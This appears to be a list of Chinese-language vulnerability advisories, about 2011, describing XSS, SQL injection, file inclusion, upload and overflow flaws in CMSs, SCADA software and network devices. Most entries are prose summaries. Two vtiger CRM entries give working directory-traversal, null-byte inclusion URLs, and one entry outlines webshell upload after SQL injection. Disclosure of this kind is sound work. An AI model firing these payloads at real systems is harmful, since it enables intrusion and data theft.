OpenID4Java存在安全绕过漏洞。攻击者可以利用漏洞绕过某些安全限制，执行未授权的操作。
V-CMS存在任意文件上传漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞执行任意脚本代码并上传任意文件。
V-CMS存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
V-CMS存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
WebERP是一套ERP与财务管理软件。webERP跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
WebERP是一套ERP与财务管理软件。webERP存在信息泄露漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞获得敏感信息，可能导致进一步的攻击。
Hastymail2是一个用PHP编写的全功能IMAP/SMTP客户端。Hastymail2不安全处理AJAX回调assignment，这些问题可导致远程代码执行。目前没有详细漏洞细节提供。
SonicWALL Aventail是一款安全远程访问解决方案。SonicWALL Aventail prodpage.cfm脚本未能正确过滤用户提交给'CategoryID'参数的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息或操作数据库。
Gitblit是一个纯Java库，用来管理、查看和处理Git资料库。Gitblit存在验证绕过额外难题，远程攻击者可以利用漏洞使用非法伪造登录凭据克隆源代码库。
Juniper Networks JUNOS是一款Juniper网络公司的系列边界路由器所运行的操作系统。Juniper Junos当在IPv6 over IPv4通道上执行安全策略时存在一个错误，可导致部分安全策略没有正确的在IPv6数据帧上执行。
Dovecot是一款安全加强的IMAP和POP3服务程序。Dovecot应用程序由于没有正确检查SSL服务器证书中提供的'Common Name'字段是否匹配请求的服务器主机名，可被利用进行中间人攻击。
LabWiki 1.1和之前版本中存在多个跨站脚本漏洞和任意文件上传漏洞。由于对用户提供的输入没有经过正确的过滤，攻击者可利用该漏洞在受影响站点上下文的不受信任用户浏览器中执行任意脚本代码，且执行带有管理特权的任意代码，并窃取基于cookie的认证证书，发动其他攻击。
GnuTLS是一款提供可靠传输层加密的库，用于实现TLS加密协议的函数库。  GnuTLS中存在远程缓冲区溢出漏洞。由于对用户提供的数据没有经过足够的边界检查，攻击者可利用该漏洞在受影响应用程序上下文中执行任意代码，失败的攻击尝试将导致拒绝服务。
Hancom Office中存在未明远程代码执行漏洞。远程攻击者可利用该漏洞通过诱骗不知情受害者打开恶意文件，成功的利用会导致在受影响应用程序的上下文中执行任意代码，失败的利用会导致拒绝服务的情况。
Xlight FTP Server是Windows平台下的一款高性能FTP服务器软件。  Xlight FTP Server 3.7.2之前版本中存在远程拒绝服务漏洞。攻击者可利用该漏洞阻止用户访问文件，并拒绝服务合法用户。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!中存在密码枚举漏洞和跨站脚本漏洞。攻击者可利用该漏洞通过有效密码进行枚举，然后进行暴力攻击获得对受影响应用程序的访问，也可在受影响站点上下文的受信任用户浏览器中执行任意脚本代码，还可盗取基于cookie的认证证书，发起其他攻击。
Bitweaver是一个开源的内容管理系统。Bitweaver存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，允许攻击者窃取基于cookie的身份验证凭据并发起其他攻击。
Zyncro存在HTML注入漏洞。由于程序未能充分过滤用户提供的输入。攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并控制的网站是如何呈现给用户。要利用此漏洞，攻击者需要能够创建一个新的组并且采集传输的数据包。
Feed on Feeds存在远程PHP代码注入漏洞。由于在受影响的应用程序上下文中注入并执行任意PHP代码，攻击者可以利用漏洞危及应用程序和底层系统。
Blogs MU存在HTML注入漏洞。由于程序在被用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的浏览器中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制的网站是如何呈现给用户。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。 Drupal Quiz模块存在多个未明HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
Webistry存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
LimeSurvey是一个基于WEB的投票系统。LimeSurvey存在HTML注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
IBM WebSphere MQ用于在企业中提供消息传输服务。由于没有正确对部分WebSphere MQ控制命令进行限制访问，恶意非特权本地用户（没有授MQM RESOURCE IDENTIFIER权）可绕过安全限制，执行部分命令，如通过ENDMQCSV控制命令停止特定队列管理器上的命令服务器。
HTC HD7是一款搭载Windows Phone平台的手机。HTC HD7当处理0x9020002C IOCTL时HTCUtility.dll驱动存在错误，攻击者可以利用漏洞从任意内核内存读取数据或向任意内核内存写数据。
FreeWebshop是一款免费的网上商店软件。FreeWebshop 'ajax_save_name.php'存在安全漏洞：    37.            @ob_start();    38.            include_once(CLASS_SESSION_ACTION);    39.            $sessionAction = new SessionAction();            40.            $selectedDocuments = $sessionAction->get();    41.            if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id'])
FleaHttpd是一款轻量级WEB服务程序。FleaHttpd不正确处理用户提交的特制请求，远程攻击者可以利用漏洞使服务程序崩溃。
Attachmate Reflection FTP Client是一款FTP客户端程序。Attachmate Reflection FTP客户端处理LIST命令应答时存在基于堆的缓冲区溢出，构建恶意FTP服务器，诱使用户链接，可使目标客户端崩溃，或可能以应用程序上下文执行任意代码。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla! 1.6.3及之前版本中存在跨站脚本漏洞。由于对用户提供的输入未经过正确的过滤，攻击者可利用该漏洞在受影响站点上下文的受信任用户浏览器中执行任意脚本代码，也可窃取基于cookie的认证证书和发动其他攻击。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。  Drupal的String Overrides模块中存在HTML注入漏洞。由于对用户提供的输入在被用于动态生成内容之前未经过正确的过滤，攻击者可利用该漏洞在受影响浏览器的上下文中执行攻击者提供的HTML和脚本代码，也可窃取基于cookie的认证证书或者控制站点提交给用户的方式，还可能存在其他的攻击。该漏洞影响String Overrides 6.x-1.8和5.x-1.8版本，也可能影响其他版本。
ProFTPD是免费的Unix和Linux FTP服务器。  ProFTPD 1.3.3g之前版本中存在远程代码执行漏洞。成功的利用该漏洞将会允许远程攻击者在应用程序上下文中执行任意代码，失败的利用尝试将会导致拒绝服务。
Linux Kernel是开放源码操作系统Linux所使用的内核。  Linux kernel中存在影响NFS客户端的远程拒绝服务漏洞。远程攻击者可利用该漏洞导致内核崩溃，并拒绝服务合法用户。
CMS Made Simple(简称CMSMS)是一款优秀的轻量级开源内容管理系统(CMS)。  CMS Made Simple 1.9.4.3之前版本中存在导致数据库破坏的漏洞。攻击者可利用该漏洞破坏数据库。
Optima APIFTP中存在多个远程拒绝服务漏洞。远程攻击者可利用该漏洞导致受影响的应用程序崩溃或者进入死循环，并拒绝服务合法用户。该漏洞影响Optima APIFTP 1.5.2.13版本，也可能影响其他版本。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。当执行某些验证检查时CTC服务存在错误，可被利用访问用户管理和OS命令执行功能。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SPML服务允许用户执行跨站请求伪造攻击，可以登录用户管理员上下文执行任意操作，如创建任意用户。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。当处理部分SOAP请求时TH_GREP报告存在错误，可通过"<STRING>"参数注入任意SHELL命令。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在跨站脚本漏洞，传递给/SAP/BW/DOC/METADATA/中的"page"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。传递给病毒扫描接口中的VsiTestScan servlet的"instname"参数和VsiTestServlet servlet中"name"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。通过部分事务传递给BAPI Explorer的输入在使用之前缺少过滤，可被利用注入任意HTML和脚本代码，当恶意数据查看时可导致在目标用户浏览器上执行。
迅雷是一款流行的P2P下载工具。迅雷存在一个DLL库加载错误，最终造成一个严重的远程代码执行漏洞。因为loadlibrary的查找顺序中包括当前目录，所以如果迅雷没有启动的话，种子当前目中有一个名为xlnet_manager.dll的DLL的话，打开种子启动迅雷，迅雷会加载该DLL，并且导致该DLL中的dllmain中的代码被执行。
Mozilla Firefox是一款Mozilla发布的WEB浏览器。Mozilla Firefox存在空指针引用拒绝服务漏洞。远程攻击者可以利用漏洞执行任意代码，导致拒绝服务。
iGuard Biometric Access Control是一款生物识别（指纹识别）和非接触式智能卡门禁/考勤系统。iGuard Biometric Access Control存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据或控制网站的呈现方式，在受影响的浏览器上下文中执行HTML和脚本代码。
Infoblox NetMRI中存在多个跨站脚本漏洞。由于对用户提供的输入在被用于动态生成内容之前未经过正确过滤，远程攻击者可利用该漏洞在受影响站点上下文的受信任用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书和发动其他攻击。该漏洞影响Infoblox NetMRI 6.2.1，6.1.2，6.0.2.42版本，也可能影响其他版本。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。 Drupal的Webform CiviCRM Integration模块中存在未明SQL注入漏洞。由于对用户提供的数据在被用于SQL查询之前未经过充分的过滤，攻击者可利用该漏洞危害应用程序，访问或者修改数据，或者在底层数据库中利用潜在的漏洞。该漏洞影Webform CiviCRM Integration 6.x-2.1和7.x-2.1版本，也可能影响其他版本。
Seraphim Tech Upload 脚本中存在未明的任意文件上传漏洞。由于对用户提供的输入没有充分的过滤，攻击者可利用该漏洞上传任意文件到受影响的服务器上，导致在有漏洞的应用程序上下文中执行任意代码。该漏洞影响Seraphim Tech Upload 1.2版本，也可能影响其他版本。
Dolibarr是一个简单的基于web的企业ERP和CRM系统。Dolibarr存在跨站脚本漏洞。由于在动态生成内容之前对用户提供的输入未经过正确的过滤，攻击者可利用漏洞在受影响站点上下文的受信任用户浏览器中执行任意脚本代码，也可窃取基于cookie的认证证书和发动其他攻击。
ZTE ZXDSL 831-II是中兴公司发行的ADSL设备。ZTE ZXDSL 831 II modem存在跨站请求伪造攻击漏洞。由于应用程序WEB接口允许通过HTTP请求执行某些操作，没有对请求进行严格的校验，攻击者构建恶意链接，诱使用户解析，可以管理员权限执行各种操作。如更改管理员密码等。
ZTE ZXDSL 831-II是中兴公司发行的ADSL设备。ZTE ZXDSL 831 II modem存在泄露敏感信息漏洞。由于应用程序在accessaccount.cgi脚本中显示验证凭据，攻击者可以借此获得敏感信息。
Soda PDF Professional工具可对PDF文件进行查看，编辑，转换等操作。当处理PDF或WWF文件格式时Soda PDF Professional存在一个安全漏洞，允许攻击者使应用程序崩溃。
Samsung Omnia 7是一款微软系统智能手机。Samsung Omnia 7存在安全漏洞，允许恶意用户控制用户设备。设备绑定的RapiConfig.exe配置工具存在安全漏洞，通过目录遍历序列可被执行任意provisioning XML文件。
Kool Media Converter是一款音频媒体文件转换程序。Kool Media Converter处理畸形.ogg文件存在问题，攻击者可以构建此类文件，诱使用户打开，触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
shaman是archlinux的软件包管理器Pacman的图形前端，基于qt4和libalpm。shaman以普通用户启动，但没有要求输入root密码，用户可利用此漏洞安装和卸载应用程序。
Drupal是一个开源的内容管理系统(CMS) 平台，它是用PHP写成的。String Overrides Module是它的一个语言模块。Drupal String Overrides Module存在脚本注入漏洞，由于index.php不正确验证上传文件的内容，攻击者可以利用漏洞在受影响站点的用户浏览器会话中查看恶意文件时，注入任意HTML或脚本代码。
Drupal是一个开源的内容管理系统(CMS) 平台。String Overrides Module是它的一个语言模块。Drupal String Overrides Module存在脚本注入漏洞，由于通过"string[0][replacement]" POST参数传递到index.php的输入在被使用前，定义替换字符串时未能正确过滤。攻击者可以利用漏洞在受影响站点的用户浏览器会话中查看恶意文件时，注入任意HTML或脚本代码。
Barracuda Message Archiver是电子邮件归档解决方案，能够有效地索引和保存所有电子邮件，增强运作效率和加强法规遵从的政策。   Barracuda Message Archiver 650 2.2.1.001之前版本中存在HTML注入漏洞。由于对用户提供的输入没有进行充分的过滤，攻击者可在受影响站点上下文中执行HTML和脚本代码，可能窃取基于cookie的认证证书或者控制站点如何提交给用户，也可能存在其他的攻击。
osCSS 是一个开源的网店系统。  osCSS 2.1.0和其他版本中存在多个本地文件包含漏洞。由于对用户提供的输入不能进行准确的过滤，攻击者可利用该漏洞获取潜在地敏感信息，并在Web服务进程上下文中执行任意本地脚本，危害应用程序和计算机，也可能存在其他的攻击。
CitectSCADA是用于在数据采集与监控系统(SCADA)中提供监视和控制功能的软件。  CitectSCADA和Mitsubishi MX4 SCADA 7.10版本中存在缓冲区溢出漏洞。该漏洞影响Batch server模块，攻击者可利用该漏洞在应用程序上下文中运行任意代码，失败的攻击尝试将导致拒绝服务。
Aviosoft DTV Player 1.0.1.2及其他版本中存在远程缓冲区溢出漏洞。由于对用户提供的输入没有经过足够的边界检查，攻击者可利用该漏洞在应用程序上下文中执行任意代码，失败的攻击将导致拒绝服务。
Cisco TelePresence System Integrator C Series和TelePresence EX Series devices中存在远程认证绕过漏洞。攻击者可利用该漏洞获取对受影响装置的未授权管理访问权限，成功的利用将会彻底危害受影响设备。
vtiger CRM是一套基于Web以销售能力自动化(SFA)为主的客户关系管理系统(CRM)。  Vtiger CRM 5.2.1以及之前版本中存在多个本地文件包含漏洞。由于对用户提供的输入没有经过正确的过滤，攻击者可利用该漏洞获取潜在的敏感信息，并在web服务器进程中执行任意本地脚本，危害应用程序和计算机，也可能导致其他的攻击。
AShop存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞执行任意脚本或HTML代码，窃取基于Cookie的身份验证凭据。
AShop存在开放重定向漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞进行钓鱼攻击。
JUNOS是Juniper网络公司的系列边界路由器所运行的操作系统。Juniper Networks JUNOS存在拒绝服务漏洞。攻击者可以利用漏洞导致系统拒绝服务。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! 'com_alfcontact' extension存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
poMMo存在信息泄露漏洞。攻击者可以利用漏洞获得敏感信息。
poMMo存在多个安全绕过漏洞。攻击者可以利用漏洞绕过某些安全限制。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla!存在跨站脚本漏洞，由于某些未明输入在被返回用户前未能经过正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
PBCS Technology存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla!在重设密码时，随机数的生成存在错误，攻击者可以利用漏洞改变用户的密码。
Hotaru CMS存在跨站脚本漏洞。由于程序在被用于动态生成的内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文的信任用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
QuiXplorer是一款基于WEB的文件管理器。QuiXplorer存在文件上传漏洞，目前没有详细细节提供。
Cacti是一套基于PHP、MySQL、SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
Cacti是一套基于PHP、MySQL、SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! Content组件存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Optima是一款通过SCADA/HMI接口控制PLC的软件。APIFTP服务器是一款文件服务器。Optima PLC APIFTP服务器(APIFTPServer.exe)处理部分报文存在错误，向TCP 10260端口发送特制报文可触发一个死循环。
Optima是一款通过SCADA/HMI接口控制PLC的软件。APIFTP服务器是一款文件服务器。Optima PLC APIFTP服务器(APIFTPServer.exe)处理部分报文存在错误，向TCP 10260端口发送特制报文可触发空指针应用而导致一个基于栈的溢出。
DLGuard存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据并发动其他攻击。
Xlight FTP Server是一款轻量级FTP服务器。Xlight FTP Server SFTP存在一个安全漏洞，其中第一个用户打开一个文件，可防止其他用户下载和共享这个文件。允许远程恶意用户对服务程序进行拒绝服务攻击。
PHPDocumentor是一个用PHP写的工具，对于有规范注释的php程序，能够快速生成具有相互参照,索引等功能的API文档。phpDocumentor捆绑的Smarty包含一个输入验证缺陷，允许攻击者调用任意PHP函数。phpDocumentor中modifier.regex_replace.php插件没有正确过滤相关搜索字符串中的ASCII NUL字符的输入，远程攻击者可通过模版调用任意PHP函数。
Wordpress Zingiri Web Shop是将大型的内容管理系统转变为电子商务解决方案的插件。Wordpress插件Zingiri存在远程代码执行漏洞。攻击者可以利用漏洞在2.2.3以前的版本上执行任意命令。
Optima是套控制PLC的自动化软件。Optima APIFTP Server是款远程文件服务器。Optima APIFTP Server 1.5.2.13版本容易产生多个漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。       远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
mambo是一个基于php+mysql的开放源码的网站内容管理系统(CMS)。mambo CMS 4.x.x的Zorder参数容易产生SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。       远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
Pligg CMS是一款开源的内容管理系统。Pligg CMS存在跨站脚本漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据并发动其他攻击。
OneCMS是为网络游戏站点设计的内容管理系统。OneCMS存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
i-Gallery是一款在线图像管理工具。i-Gallery存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据并发动其他攻击。
Hancom Office是一款韩国很流行的文字处理软件。Hancom Office处理".hwp"文件时存在一个未明错误，成功利用漏洞可以执行任意代码。攻击者可以构建恶意文件，诱使用户解析触发此漏洞。
openEngine是一款使用PHP开发的Web内容管理系统。openEngine存在SQL注入漏洞。由于在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla!'com_biitatemplateshop'组件存在SQL注入漏洞。由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Juniper Networks JUNOS是一款Juniper网络公司的系列边界路由器所运行的操作系统。当处理部分基于协议的路由前缀行为时"Ktree::createFourWayNode"存在一个错误，通过提交特制的BGP "UPDATE"可破坏模块化端口集中器(MPC)中的数据结构，导致设备崩溃重载。此漏洞仅影响Trio芯片上的端口集中器如MPC或嵌入到MX80。
iGuard Biometric Access Control是一款生物识别（指纹识别）和非接触式智能卡门禁/考勤系统。iGuard生物/智能卡安全应用设备内置Web服务器，iGuard Biometric Access Control存在多个持久型输入验证漏洞，这些漏洞允许本地特权用户或远程攻击者可进行跨站脚本攻击，成功利用漏洞可导致会话劫持或泄露敏感信息。受影响模块包括：[+] Select Month[+] New Access Record - ID[+] Department ID & Description
Ajax File和Image Manager 1.0及其他可能的版本中存在远程PHP代码注入漏洞。攻击者可借助data.php在受影响应用程序上下文中注入和执行任意PHP代码，并危害应用程序和底层系统，以及其他可能的攻击。
AstroCMS容易产生多个安全漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。       远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Oracle Hyperion Financial Management是综合性的、可扩展的、基于Web的国际财务集成、报告和分析的解决方案。Oracle Hyperion Strategic Finance在实现上存在安全漏洞，可被恶意用户利用控制用户系统。此漏洞源于Formula One ActiveX控件(TTF16.ocx)的"SetDevNames()"方法中的边界错误，通过 "DriverName" 参数中传递的超长字符串可造成堆缓冲区溢出。
vtiger CRM是一套基于Web以销售能力自动化(SFA)为主的客户关系管理系统(CRM)。vtiger CRM存在本地文件包含漏洞。由于通过"module"和"action" GET参数提供给graph.php的输入在用于包含文件之前缺少校验，攻击者通过目录遍历序列和URL编码的空字节可包含之前上传的文件：http://[host]/graph.php?module=../storage/2011/October/week3/UploadedFile.txt%00http://[host]/graph.php?module=1&action=../../storage/2011/October/week3/UploadedFile.txt%00
vtiger CRM是一套基于Web以销售能力自动化(SFA)为主的客户关系管理系统(CRM)。vtiger CRM存在本地文件包含漏洞。由于通过"file" GET参数提供给index.php的输入在用于包含文件之前缺少校验，攻击者通过目录遍历序列和URL编码的空字节可包含之前上传的文件：http://[host]/index.php?module=Accounts&action=AccountsAjax&ajax=true&file=AddressChange&file=../../storage/2011/October/week3/UploadedFile.txt%00
Cisco TelePresence是思科公司开发的网真会议解决方案。多个Cisco TelePresence System产品存在安全漏洞，允许恶意用户获得对系统的控制。在制造和分发过程中存在一个错误，影响产品以不安全配置分发。问题是由于在证书/选项配置和测试之后忘记把设备回复到默认配置。受影响设备启用root账户，并使用已知默认密码，此账户一般是在进行某些调试测试时设备管理员启用。默认一般关闭。
Vivvo CMS是一个国外的商业CMS系统。Vivvo CMS存在多个本地文件包含漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在WEB服务器进程的上下文中执行任意的本地脚本并获得潜在的敏感信息。
Banana Dance存在SQL注入漏洞。由于程序在被用于SQL查询之前未能充分过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
CitectSCADA是一款Mitsubishi MX4和施耐德电器使用的工控软件。CitectSCADA和MX4 SCADA Batch产品使用的第三方组件存在一个缓冲区溢出，在正常登录序列过程中向服务器发送超长用户输入字符串可触发此漏洞。精心构建字符串数据可以应用程序上下文执行任意代码。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! 'com_search'组件存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发动其他攻击。
Proftpd守护程序存在一个安全漏洞，服务程序管理用于服务器发送给客户端应答的池实现存在漏洞。当尝试处理异常条件时服务程序无法恢复用于包含FTP应答的指针，这可用于触发一个可控的内存破坏。漏洞的核心存在于src/main.c中的pr_cmd_dispatch_phase函数中，此函数负责调度调用任何注册在proftpd模块/列表中的命令。在这个函数入口中，服务器会把resp_pool中的状态PUSH进去以便在返回时恢复，但是当执行precmd过程发送错误，服务器会无法恢复此状态。
Marinet CMS存在SQL注入漏洞。由于程序在被用于SQL查询之前未能充分过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
BaserCMS是一个来自日本的开源的企业级CMS。BaserCMS存在未明安全绕过漏洞。攻击者可以利用漏洞绕过安全保护并更改管理员的信息。
Aviosoft DTV Player是一款支持多格式的视频播放应用程序。Aviosoft DTV Player 1.0.1.2和之前版本没有正确处理播放列表中畸形的用户数据，当拷贝到不充分大小的缓冲区时，可触发缓冲区溢出，构建特制的.plf文件，诱使用户解析，未验证攻击者可以利用漏洞以应用程序上下文执行任意代码。
AbsoluteFTP是一款FTP文件传输工具。AbsoluteFTP存在远程缓冲区溢出漏洞，模块通过溢出与LIST命令相关的文件名缓冲区，来利用AbsoluteFTP工具。
Comtrend Router CT-5624是高性能的以太网路由器。Comtrend CT5624产品存在远程ROOT/密码泄露/更改漏洞。攻击者可以利用漏洞导致泄漏系统密码或被攻击者修改。
LabWiki 1.1及之前版本存在SHELL上传、跨站脚本等多个漏洞。攻击者可以利用漏洞获取系统管理员权限、完全控制系统或造成其他未知威胁。
TRS内容协作平台(TRS Web Content Management，简称：TRS WCM)涵盖网站建立、内容服务、内容传递等内容价值链的各个方面，将结构化和非结构化信息提供给所有用户。TRS WCM存在文件上传漏洞，由于wcmhelp_addedit.jsp没有进行用户权限认证，攻击者可以利用漏洞添加、篡改帮助文件的内容，并上传文件。
TRS内容协作平台(TRS Web Content Management，简称：TRS WCM)涵盖网站建立、内容服务、内容传递等内容价值链的各个方面，将结构化和非结构化信息提供给所有用户。TRS WCM存在SQL注入漏洞，由于wcmhelp_list.jsp页面接收的参数JspUrl没有进行过滤单引号就直接组合到sql查询语句中，攻击者可以通过注入漏洞获取管理员账户和密码，并通过上传jsp webshell达到网站挂马、获取或篡改网站数据库存储内容以及控制网站服务器等目的。
XOOPS是基于php语言的面向对象的开源建站系统。XOOPS存在跨站脚本漏洞。由于Private Messages(PM) BBCODE解析机制中的错误导致攻击者可以利用漏洞在受影响的网站上下文中执行任意HTML和脚本代码。
XOOPS是基于php语言的面向对象的开源建站系统。XOOPS存在HTML注入漏洞。由于通过"text"参数传递至"/include/formdhtmltextarea_preview.php"的输入，在被返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
Drupal是一款开源的内容管理平台。Homebox是Drupal的一个模块，Homebox OG(Homebox for Organic Groups)是Homebox的子模块。Drupal Homebox OG子模块存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中执行任意HTML和脚本代码，窃取基于cookie的认证证书并控制网站如何呈现给用户。
Drupal是一款开源的内容管理平台。Rate是Drupal的一个模块。Drupal Rate模块存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
osCSS2是一款开源的网店脚本系统。osCSS2存在本地文件包含漏洞。由于传递至content.php中"_ID"参数的输入在被用于包含文件时未被正确验证，攻击者可以利用漏洞通过目录遍历攻击从本地资源包含任意文件。
Concrete5是一个开源的内容管理系统。Concrete5存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
Concrete5是一个开源的内容管理系统。Concrete5存在SQL注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Drupal是一款开源的内容管理平台。Echo是Drupal的一个模块。Drupal Echo模块存在跨站脚本漏洞。由于该模块未能正确过滤用户提供的内容，攻击者可以利用漏洞进行跨站脚本攻击。此外，该模块允许通过URL传递的任意内容嵌入在网站上，使网站易受到网络钓鱼攻击。
Web File Browser 0.4b14及其他版本中存在任意文件下载漏洞。由于用户提供的输入没有经过应用程序的充分过滤，攻击者可借助webFileBrowser.php在应用程序上下文中下载任意文件，且获取的信息有助于进一步的攻击。
yubico-pam 2.4到2.7版本中存在远程认证绕过漏洞。远程攻击者可利用该漏洞绕过认证机制，并获得未授权的访问。
11in1 CMS是一款开源的内容管理系统(CMS)。11in1 CMS V1.0.1的do.php组件未能正确过滤返回参数，容易产生注入漏洞。攻击者可以利用漏洞在受影响的机器上执行任意代码，达到攻击的目的。       远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
Drupal是一款开源的内容管理平台。Drupal Petition Node存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，允许攻击者窃取基于cookie的身份验证凭据。
Active CMS是一款内容管理系统，主要用于个人网站。Active CMS存在跨站脚本漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据。
